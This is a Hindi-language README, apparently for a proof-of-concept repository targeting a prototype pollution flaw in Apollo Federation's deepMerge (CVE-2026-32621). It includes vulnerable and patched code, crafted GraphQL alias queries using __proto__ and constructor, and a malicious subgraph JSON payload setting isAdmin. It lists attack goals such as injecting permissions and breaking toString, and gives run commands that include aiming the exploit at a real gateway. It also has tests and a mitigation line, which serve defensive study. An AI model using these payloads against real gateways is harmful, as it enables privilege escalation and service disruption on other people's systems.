
CVE-2026-32621 के लिए PoC एक्सप्लॉइट जो गढ़े गए GraphQL एलियास के माध्यम से Apollo Federation deepMerge प्रोटोटाइप प्रदूषण को प्रदर्शित करता है, साथ ही पैच किए गए संस्करण के परीक्षण भी शामिल हैं।
| फ़ील्ड | मान |
|---|
| CVE | CVE-2026-32621 |
| CVSS | 9.9 क्रिटिकल |
| CWE | CWE-1321 (प्रोटोटाइप प्रदूषण) |
| प्रभावित | Apollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2 |
| पैच किया गया | 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2 |
| GHSA | GHSA-pfjj-6f4p-rvmh |
Apollo Federation का deepMerge फ़ंक्शन (जो @apollo/query-planner और @apollo/gateway में क्वेरी प्लान निष्पादन के दौरान सबग्राफ प्रतिक्रियाओं को मर्ज करने के लिए उपयोग किया जाता है) target[key] एक्सेस करने से पहले कुंजियों को सैनिटाइज़ करने में विफल रहता है।
जब कोई स्रोत ऑब्जेक्ट में __proto__ अपनी स्वयं की प्रॉपर्टी के रूप में होता है (जो JSON.parse बनाता है), Object.keys() इसे लौटाता है, और target["__proto__"] प्रोटोटाइप श्रृंखला के माध्यम से Object.prototype पर हल होता है। मर्ज तब गुणों को सीधे Object.prototype पर लिखता है, पूरे Node.js प्रक्रिया के लिए वैश्विक प्रोटोटाइप श्रृंखला को प्रदूषित करता है।
// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
if (target[key] && isObject(source[key])) {
deepMerge(target[key], source[key]); // target["__proto__"] = Object.prototype!
} else {
target[key] = source[key]; // Direct assignment to prototype
}
}
// PATCHED (post-patch)
for (const key of Object.keys(source)) {
defineOwn(target, key); // <-- Fix: shadows prototype property with own property
if (target[key] && isObject(source[key])) {
deepMerge(target[key], source[key]);
}
}
एक क्लाइंट __proto__, constructor, या prototype नामक फ़ील्ड उपनामों के साथ एक GraphQL क्वेरी भेजता है। जब गेटवे प्रतिक्रिया को संसाधित करता है, deepMerge इन उपनामों को कुंजियों के रूप में उपयोग करता है, जिससे Object.prototype प्रदूषित हो जाता है।
query {
__proto__: products {
polluted: id
}
}
एक समझौता किया गया सबग्राफ __proto__ कुंजियों के साथ JSON लौटाता है। जब गेटवे deepMerge के माध्यम से प्रतिक्रिया को मर्ज करता है, Object.prototype प्रदूषित हो जाता है।
{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}
query {
constructor: products {
prototype: id
}
}
isAdmin, role, permissions गुणों को इंजेक्ट करेंtoString, valueOf को null/टूटे फ़ंक्शनों से ओवरराइड करें
दस्तावेज़ सामग्री USAGE.md चरण-दर-चरण निर्देशों के साथ विस्तृत उपयोग मार्गदर्शिका DIAGRAM.md संरचना आरेख और हमले के प्रवाह का विज़ुअलाइज़ेशन
फ़ाइल उद्देश्य exploit.js5 हमले वैक्टर + स्थानीय प्रदर्शन के साथ मुख्य शोषण test_exploit.jsयूनिट परीक्षण (15 परीक्षण जो प्रदूषण और पैच को मान्य करते हैं) e2e_test.jsएंड-टू-एंड सत्यापन (10 परीक्षण: गेटवे + शोषण + सत्यापन) setup_vulnerable.jsपरीक्षण के लिए कमजोर गेटवे सिम्युलेटर
# Run the local deepMerge vulnerability demonstration
node exploit.js
यह चल रहे गेटवे की आवश्यकता के बिना सटीक कमजोर कोड पथ प्रदर्शित करता है।
# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000
# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql
# Unit tests (15 tests)
node test_exploit.js
# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js
# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql
======================================================================
CVE-2026-32621 - Apollo Federation Prototype Pollution
CVSS 9.9 Critical | CWE-1321
Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================
======================================================================
Direct deepMerge Vulnerability Demonstration
(Reproduces the exact vulnerable code path)
======================================================================
[Test 1] __proto__ pollution via JSON.parse source
Source keys: __proto__
source.__proto__ is own property: true
VULNERABLE: Object.prototype.polluted_test1 = true
PATCHED: Object.prototype.polluted_test1 = undefined
[Test 2] constructor.prototype pollution
VULNERABLE: Object.prototype.polluted_test2 = true
PATCHED: Object.prototype.polluted_test2 = undefined
--------------------------------------------------
RESULTS SUMMARY
--------------------------------------------------
[VULNERABLE] __proto__ via JSON.parse
[SAFE] __proto__ via JSON.parse (patched)
[VULNERABLE] constructor.prototype
[SAFE] constructor.prototype (patched)
Client Apollo Gateway Subgraph
│ │ │
│ GraphQL query │ │
│ with __proto__ │ │
│ field alias │ │
│ ────────────────► │ Forward query │
│ │ ──────────────────────► │
│ │ │
│ │ JSON response with │
│ │ __proto__ as own prop │
│ │ ◄────────────────────── │
│ │ │
│ │ deepMerge() called │
│ │ target["__proto__"] │
│ │ → Object.prototype │
│ │ ⚠ POLLUTED! │
│ │ │
│ 200 OK │ │
│ polluted: true │ │
│ ◄──────────────── │ │
│ │ │
│ ALL subsequent requests inherit polluted │
│ properties (isAdmin, polluted, etc.) │
पूर्ण आर्किटेक्चर आरेखों के लिए DIAGRAM.md देखें।
__proto__, constructor, prototype युक्त GraphQL ऑपरेशनों को ब्लॉक करेंMIT